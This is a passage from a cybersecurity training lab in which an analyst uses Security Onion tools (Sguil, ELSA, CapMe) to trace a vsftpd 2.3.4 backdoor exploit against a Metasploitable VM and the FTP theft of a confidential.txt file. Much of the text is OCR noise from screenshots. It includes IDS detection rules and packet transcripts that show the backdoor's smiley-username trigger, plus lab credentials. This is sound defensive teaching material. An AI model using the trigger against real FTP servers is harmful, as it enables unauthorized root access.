1	bro_notice		
		0-	

c. The result indicates that 209.165.201.17 was performing a port scan on 209.165.200.235, the Metasploitable VM. The attacker probably found vulnerabilities on the Metasploitable VM to gain access.

						11000(3)	man Er oo4	ore logs indexed	
uery 🖱	209.165.201.17	" program="bro_notice"						Submit Query	Help
om 20	017-07-09 18:58	:13 <u>To</u>	UTC Add T	Term 👻	Report On 🕶	Index -	Reuse	e current tab 🔲	Grid display
209.1	.65.201.17" grou	pby:program (10) [Grouped by p	orogram] ×	*209.165	.201.17" progra	am="sshd" (2	2) ×		
209.1	65.201.17" prog	ram="bro_notice" (1) 🗙							
Resul	It Options	ield Summary ost(1) program(1) class(1) srcip(1) srcport(1) dstip	p(1) dstport	t(1) mime_type	e(1) desc(1) p	protocol(1)	notice_type(1) r	otice_msg(1)
Resul ub_ms Reco	It Options F	ield Summary ost(1) program(1) class(1) srcipi s 2 << first < prev 1 next	1) srcport(1) dstip > last >> 15	p(1) dstport	t(1) mime_type	e(1) desc(1) (protocol(1)	notice_type(1) r	otice_msg(1)
Resul ub_ms Reco	It Options ▼ sg(1) ords: 1 / 1 54 m Timestamp	leid Summary ost(1) program(1) class(1) srcip/ s 2 << first < prev 1 next	1) srcport(1) dstip > last >> 15	p(1) dstport	t(1) mime_type Fields	e(1) desc(1) (arotocol(1)	notice_type(1) r	otice_msg(1)

d. If an attacker has compromised Metasploitable, you want to determine the exploit that was used and what was accessed by the attacker.

Step 4: Return to Squil to investigate attack.

a. Navigate to Sguil and click the RealTime Events tab. Locate the ET EXLOIT VSFTPD Backdoor User Login Smiley events. These events are possible exploits and occurred within the timeframe of unauthorized root access. Alert ID 5.2567 is used in this example.

ST	CNT	Sensor	Alert ID	Date/Time	Src IP	SPort	Dst IP	DPort	Pr	Event Message
RT	1	seconion-eth2-1	7.1961	2017-07-05 18:39:08	209.165.201.17	43276	209.165.200.235	8180	6	GPL WEB_SERVER Oracle Java Process Manage
RT	1	seconion-eth1-1	5.2558	2017-07-05 18:53:42	209.165.200.235	80	209.165.201.17	41258	6	ET ATTACK_RESPONSE Output of id command
RT	1	seconion-eth2-1	7.2624	2017-07-05 18:53:42	209.165.200.235	80	209.165.201.17	41258	6	ET ATTACK_RESPONSE Output of id command
RT	2	seconion-eth1-1	5.2567	2017-07-11 15:43:02	209.165.201.17	43234	209.165.200.235	21	6	ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT	2	seconion-eth1-1	5.2568	2017-07-11 15:43:03	209.165.200.235	6200	209.165.201.17	58260	6	GPL ATTACK_RESPONSE id check returned root
RT	2	seconion-eth2-1	7.2633	2017-07-11 15:43:02	209.165.201.17	43234	209.165.200.235	21	6	ET EXPLOIT VSFTPD Backdoor User Login Smiley
RT	2	seconion-eth2-1	7.2634	2017-07-11 15:43:03	209.165.200.235	6200	209.165.201.17	58260	6	GPL ATTACK_RESPONSE id check returned root

- b. Right-click the number under the CNT heading and select **View Correlated Events** to view all the related events. Select the Alert ID that starts with 5. This alert gathered the information from sensor on seconion-eth1-1 interface.
- c. In the new tab with all the correlated events, right-click the Alert ID and select **Transcript** to view each alert in more detail. Alert ID 5.2569 is used as an example. The latest alert is likely to display the TCP transmission between the attacker and victim.

RealTim	e Even	ts Escalated	Events	5.2568	5.256	7]												
Close	Exp	ort																
ST	CNT	Sensor	Alert ID	Date	e/Time	Src IP	SPort	Dst If		DPo	nt I	Pr E	vent Mess	sage				
RT	1	seconion	5.2567	2017-07-	11 15:43:02	209.165.201.17	43234	209.1	65.200.235	5 21	3	5 E	TEXPLOIT	T VSFTPD	Backde	oor User	Login	Smiley
RT	1	seconion	5.2569	2017-07-	11 15:54:48	209.165.201.1	34149	209.1	65.200.235	5 21	3	5 E	TEXPLOIT	T VSFTPD	Backde	oor User	Login	Smiley
-			secon	ion-eth1-1	2569		÷	= ×	12									
File							10.000											
Connect Src IP: Dst IP: Src Port: Dst Port	ion ID	209.165.2 209.165.2 34149 21	11-1_2569 01.17 (209-1) 00.235 (209-	65-201-17.go 165-200-235.	it.net) got.net)	11 JED F T 11 11/7.	2-11 (iow Rule y -> \$HOM ontent:"U	IE_NET 21 SER *; det	(msg: oth:5;	"ET EX	PLOIT VSF t:" 3a 29	TPD Back	(door L	Jser Log	in Smil	ey";
OS Finge	erprint	: ⇒ 209.165.201.	00.235:21 (li	nk: ethernet	/modem)	11400,5,1,14,947	control (up. 1 his	' II	De	st IP	Ver	HL	ros len	10	Flags	Offset	TTL	ChkSum
DST: 220 DST: SRC: USE SRC: DST: 331 DST: SRC: PAS) (vsFTI ER FITI I Pleas SS 2rXt	Pd 2.3.4) HJE) e specify the p 18	assword.						U A P R R C S 0 G K H X X 0 46 49	R S F S Y 1 T N N 54 48 4	50 18365 4A 60	q # 37233 3A 2	Ack II 3466777 9 0D 0A	0ffs 645 8	et Res 0 USEF	Windo 229 R FITH.	w Urp 0 J1:).	23390 ChkSun 39329

d. You can also right-click the Alert ID and select **Wireshark** to review and save the pcap file and TCP stream.

Step 5: Use ELSA to view exfiltrated data.

- a. To use ELSA for more information about the same alert as above, right-click either the source or destination IP address and select **ELSA IP Lookup** > **DstIP**.
- b. Click **bro_ftp** to view ELSA logs that are related to FTP.

ELSA -	Admin 🕶	1 node(s) with 273532.0 logs indexed and 273589.0 arch
uery 🗄	209.165.200.23	5° program="bro_ftp" Submit Query Help
om 20	017-07-09 20:46	3:09 To UTC Add Term Report On Reuse current tab Grid display
209.1	65.200.235" gro	oupby:program (11) [Grouped by program] × "209.165.200.235" program="bro_ftp" (4) ×
Resul	t Ontions 👻 F	Field Summary
Trebui	b chaologic	<pre>iost(1) program(1) class(1) srcip(1) srcport(1) dstip(1) dstport(1) file_size(2) command(2) arg(2) mime_type(2) reply_msg(2)</pre>
Reco	ords: 4 / 4 44 m	s 2 << first < prev 1 next > last >> 15 •
	Timestamp	Fields
Info	Tue Jul 11 16:11:41	1499789496.137552[C7V2UB2a]jzzm0Cfd[192.168.0.11]40058[209.165.200.235]21[analyst] <hidden=)port[192.168.0.11]48.9[+](200port command="" consider="" successful.="" using<br="">PASV.[F[209.165.200.235]192.168.0.11]48137]- hos=127.0.0.1 program=bro_tbp_class=BRO_FTP_stcip=192.168.0.11 stcport=40058 distip=209.165.200.235 distport=21 file_size=220 command=PORT arg=192.168.0.11.188.9 mime_type=: teply_msg=PORT command successful. Consider using PASV_</hidden=)port[192.168.0.11]48.9[+](200port>
Info	Tue Jul 11 16:11:41	1499789496.137544[CcACAIKNCY1958]25]192.168.0.11]40058]209.165.200.235[21]analyst] <htest{shiftedens}[port]192.168,0,11,188,9]+[200]port command="" consider="" successful.="" using<br="">PASVJF[209.165.200.255]192.168.0.11]48137] hssj=127.0.0.1 program=bro_ftp_class=BRO_FTP_stcln=192.168.0.11 stcport=40058 distip=209.165.200.235 distport=21 file_size=200 command=PORT arg=192.168.0.11.188.9 mime_type=_ teply_msg=PORT command successful. Consider using PASVJ.</htest{shiftedens}[port]192.168,0,11,188,9]+[200]port>
Info	Tue Jul 11 16:12:16	1499789496.138313 CCACAIKNCY1958 Z5 192.168.0.11 40058 209.165.200.235 21 analyst <hidden> STOR ftp://209.165.200.235/./confidential.txt text/plain - 226 Transfer complete. - - - FO2LE14Su7z7im5lQ1 hss=127.0.0.1 program=bro_ttp_class=BRO_FTP_srcip=192.168.0.11 srcport=40058 dstp=209.165.200.235 dstport=21 file_size=226 command=STOR arg=ttp://209.165.200.235/./confidential.txt mime_type=text/plain teply_msg=Transfer complete.</hidden>
Info	Tue Jul 11 16:12:16	1499789496.138329]C7v2UB2aljzzmn0Ctd[192.168.0.11 40058]209.165.200.235[21]analyst] <hidden>[STOR]ftp://209.165.200.235/./confidential.txt[text/plain]-[226]Transfer complete.]-[-[-]-[F2IGpn1a7ijpx]MFm1 hos=127.0.0.1 program=bro_ttp_class=BRO_FTP_srcip=192.168.0.11 srcport=40058 distip=209.165.200.235 distport=21 file_size=226 command=STOR arg=ttp://209.165.200.235/./confidential.txt mime_type=text/plain reply_msg=Transfer complete.</hidden>

- c. Which file was transferred via FTP to 209.165.200.235? Whose account was used to transfer the file?
- d. Click info to view the transactions in the last record. The reply_msg field indicates that this is the last entry for the transfer of the confidential.txt file. Click Plugin > getPcap. Enter username analyst and password cyberops when prompted. Click Submit if necessary. CapMe is a web interface that allows you to get a pcap transcript and download the pcap.

Log Info	×
Summary	
Links	
Plugins	
Plugin 🕶	
tional)	
getPcap	
	Close

The pcap transcript is rendered using tcpflow, and this page also provides the link to access the pcap file.

			capME! - Chromium	1 in 1	
ELSA	×Y	🗋 capME!	×		E
- → C	A Not secure	bttps://localhos	t/capme/?sip=192.168.0.11&dip=209.165.200.235&spt=40058&dpt=2	陶众] :
UTI COUT	A STATISTICS				
VELCOME ar	alyst L0G001				
192.168.0.11	40058 209.165.200.2	35:21-6-1194113506	pcap		
Sensor Name	seconion-eth1				
imestamp: 2	017-07-11 16:11:18				
Connection II): CLI				
	(automated b) 11 0.0				
rc IP: 192.1 st IP: 209.1	8.0.11 (Unknown) 5.200.235 (209-165-2	100-235.got.net)			
Src IP: 192.10 Ost IP: 209.10 Src Port: 400	8.0.11 (Unknown) 55.200.235 (209-165-2 58	200-235.got.net)			
Strc IP: 192.1 Ost IP: 209.1 Strc Port: 400 Ost Port: 21 OSt Financial	38.0.11 (Unknown) 35.200.235 (209-165-2 38	200-235.got.net)	22 1 20 4 1 20 0 7 11 11 27		
Src IP: 192.1 Dst IP: 209.1 Src Port: 400 Dst Port: 21 DS Fingerprir DS Fingerprir	\$8.0.11 (Unknown) 55.200.235 (209-165-2 58 t: 192.168.0.11:40058 t: -> 209.165.200.235	200-235.got.net)) - UNKNOWN [S20:6 :21 (link: ethernet/mo	33:1:60:M1460,S,T,N,W7?:?] (up: 9542 hrs) dem)		
Src IP: 192.10 Dst IP: 209.10 Src Port: 400 Dst Port: 21 DS Fingerprir	88.0.11 (Unknown) 55.200.235 (209-165-2 58 t: 192.168.0.11:40058 t: -> 209.165.200.235	200-235.got.net) 3 - UNKNOWN [S20:6 :21 (link: ethernet/mo	33:1:60:M1460,S,T,N,W7:::?:?] (up: 9542 hrs) dem)		
Src IP: 192.1 Ost IP: 209.1 Src Port: 400 Ost Port: 21 OS Fingerprir OS Fingerprir OST: 220 (vsl	88.0.11 (Unknown) 55.200.235 (209-165-2 58 t: 192.168.0.11:40058 t: -> 209.165.200.235 TPd 2.3.4)	200-235.got.net)) - UNKNOWN [S20:6 ;21 (liink: ethernet/mo	i3:1:60:M1460,S,T,N,W7:.:?:?] (up: 9542 hrs) dem)		
Src IP: 192.1(Src Port: 400 Src Port: 21 OS Fingerprir OS Fingerprir OST: 220 (vsl OST: SPC-11SEP :	88.0.11 (Unknown) 55.200.235 (209-165-2 58 t: 192.168.0.11:40058 t: -> 209.165.200.235 FTPd 2.3.4)	200-235.got.net)) - UNKNOWN [S20:6 :21 (link: ethernet/mo	33:1:60:M1460,S,T.N.W7:?:?] (up: 9542 hrs) dem)		
SPC IP: 192.1 Dost IP: 209.1 SPC Port: 400 Dost Port: 21 DS Fingerprir DS Fingerprir DST: 220 (vsl DST: SPC: USER :	88.0.11 (Unknown) 55.200.235 (209-165-2 8 tt 192.168.0.11:40058 tt -> 209.165.200.235 FTPd 2.3.4) inalyst	200-235.got.net) } - UNKNOWN [S20:6 :21 (link: ethernet/mo	33:1:60:M1460,S,T,N,W7???] (up: 9542 hrs) dem)		
Src Pe ¹ : 192.1 Ost IP: 209.1 Src Port; 400 Ost Port: 21 OS Fingerprir OS Fingerprir OST: 220 (vsl OST: OST: 220 (vsl OST: SRC: USER (SRC: OST: 331 Pie	88.0.11 (Unknown) 15.200.235 (209-165-2 8 t: 192.168.0.11:40056 t: → 209.165.200.235 TPd 2.3.4) analyst ase specify the passw	200-235.got.net) - UNKNOWN (S20:6 :21 (link: ethernet/mo	33:1:60:M1460,S,T,N,W7::???] (up: 9542 hrs) dem)		
ost IP: 209.11 Ost IP: 209.11 Sic Port: 400 Ost Port: 21 OS Fingerprir OS Fingerprir OST: 220 (vsl OST: 220 (vsl OST: 220 (vsl OST: 331 Ple OST: 331 Ple OST:	88.0.11 (Unknown) 5200.235 (209-165-2 58 t: 192.168.0.11:40056 t: → 209.165.200.235 TPd 2.3.4) inalyst isse specify the passwi	200-235.got.net)) - UNKNOWN [S20:6 :21 (link: ethernet/mo prd.	i3:1:60:M1460,S,T,N,W7:::?:?] (up: 9542 hrs) dem)		
ost IP: 192.11 Sto Port: 209.11 Sto Port: 400 DS Fingerprir DS Fingerprir DS Fingerprir DS F: 220 (vsl DST: 220 (vsl DST: 220 (vsl DST: 31 Ple DST: 31 Ple DST: 31 Ple DST: 35 Sto	88.0.11 (Unknown) 52.00.235 (209-165-2 58 t: 192.168.0.11:40056 t: -> 209.165.200.235 TTPd 2.3.4) inalyst ase specify the passwi yberops	200-235.got.net) - UNKNOWN [S20:6 :21 (link: ethernet/mo prd.	33:1:60:M1460,S,T,N,W7:???] (up: 9542 hrs) dem)		
vice IP: 192.11 bist IP: 209.11 ice Port: 400 bist Port: 21 DS Fingerprin DS Fingerprin DS Fingerprin DS Fingerprin DS Fingerprin ST: 220 (vsl ST: ST: 220 (vsl ST: ST: 331 Ple DST: ST: ST: ST: ST: ST: ST: ST: ST: ST:	88.0.11 (Unknown) 55 200.235 (209-165-2 58 1 192.168.0.11:40056 t → 209.165.200.235 TPd 2.3.4) inalyst ase specify the passwi yberops	200-235.got.net) - UNIKNOWN (S20:e :21 (link: ethernet/mo prd.	33:1:60:M1460,S,T,N,W7:::?:?] (up: 9542 hrs) dem)		
st IP: 209.11 inc Port: 192.11 inc Port: 21 OS Fingerprin SS Fingerprin SS Fingerprin SST: 220 (vsl iST: SST: 331 Plei SST: 331 Plei SST: RC: PASS c iRC: IST: 230 Log	88.0.11 (Unknown) 52.00.235 (209-165-2 58 t: 192.168.0.11:40056 t: → 209.165.200.235 FTPd 2.3.4) innalyst ase specify the passwi yberops in successful.	200-235.got.net) 3 - UNIKNOWN (S20:6 .21 (link: ethernet/mo ord.	33:1:60:M1460,S,T,N,W7::???] (up: 9542 hrs) dem)		
rc (P: 192.1) irc Port: 400 st Port: 21 S5 Fingerpri S5 Fingerpri S	88.0.11 (Unknown) 55 200.235 (209-165-2 88 It 192.168.0.11:40056 It -> 209.165 200.235 FTPd 2.3.4) inalyst ise specify the passwi yberops in successful.	200-235.got.net) 3 - UNKNOWN (S20:f :21 (link: ethernet/mo ord.	33:1:60:M1460,S,T,N,W7:???] (up: 9542 hrs) dem)		
src IP: 192.11 src Port: 400 srt Port: 21 DS Fingerprin DS Fingerprin DST: 220 (vsl DST: 237.220 (vsl DST: 237.220 (vsl DST: 230 (vsl)DST: 230	88.0.11 (Unknown) 55 200.235 (209-165-2 38 1: 192.168.0.11:40056 1: ~ 209.165 200.235 TPd 2.3.4) inalyst ase specify the passwe yberops in successful.	200-235.got.net) 3 - UNIKNOWN (S20:f :21 (link: ethernet/mo ord.	33:1:60:M1460,S,T.N.W7???] (up: 9542 hrs) dem)		
site in 192.11 site in 2015 site 2029.12 site 2029.12 site 2027.22 site 2027.22	88.0.11 (Unknown) 55 200.235 (209-165-2 58 It 192.168.0.11:40056 It -> 209.165 200.235 FTPd 2.3.4) analyst ase specify the passwi yberops in successful.	200-235.got.net) 3 - UNIKNOWN (520:6 i21 (link: ethernet/mo	39:1:60:M1460,S,T,N,W7::???] (up: 9542 hrs) dem)		
Site IP: 192.11 Site IP: 209.11 Site Port: 400 DSF Fingerprit OSF Fingerprit DST: 220 (vsl DST: 220 (vsl DST: 220 (vsl DST: 220 (vsl DST: 331 Ple) DST: 331	88.0.11 (Unknown) 55 200.235 (209-165-2 38 it 192.168.0.11:40056 it ~> 209.165.200.235 FTPd 2.3.4) inalyst ase specify the passwi yberops in successful. X Type: L8	200-235.got.net) 3 - UNKNOWN (S20:f :21 (link: ethernet/mo ord.	33:1:60:M1460.S,T.N.W7:???] (up: 9542 hrs) dem)		

e. To determine the content of the file that was compromised, open **ELSA** by double clicking the icon on the Desktop to open a new tab and perform a new search.

f. Expand **FTP** and click **FTP Data**. Click one of the **Info** links and select getPcap from the dropdown menu to determine the content of the stolen file.



g. The result displays the content of the file named confidential.txt that was transferred to the FTP server.



Step 6: Clean up

Shut down all VMs when finished.

Reflection

In this lab, you have used a vulnerability to gain access to unauthorized information and reviewed the logs as a cybersecurity analyst. Now summarize your findings.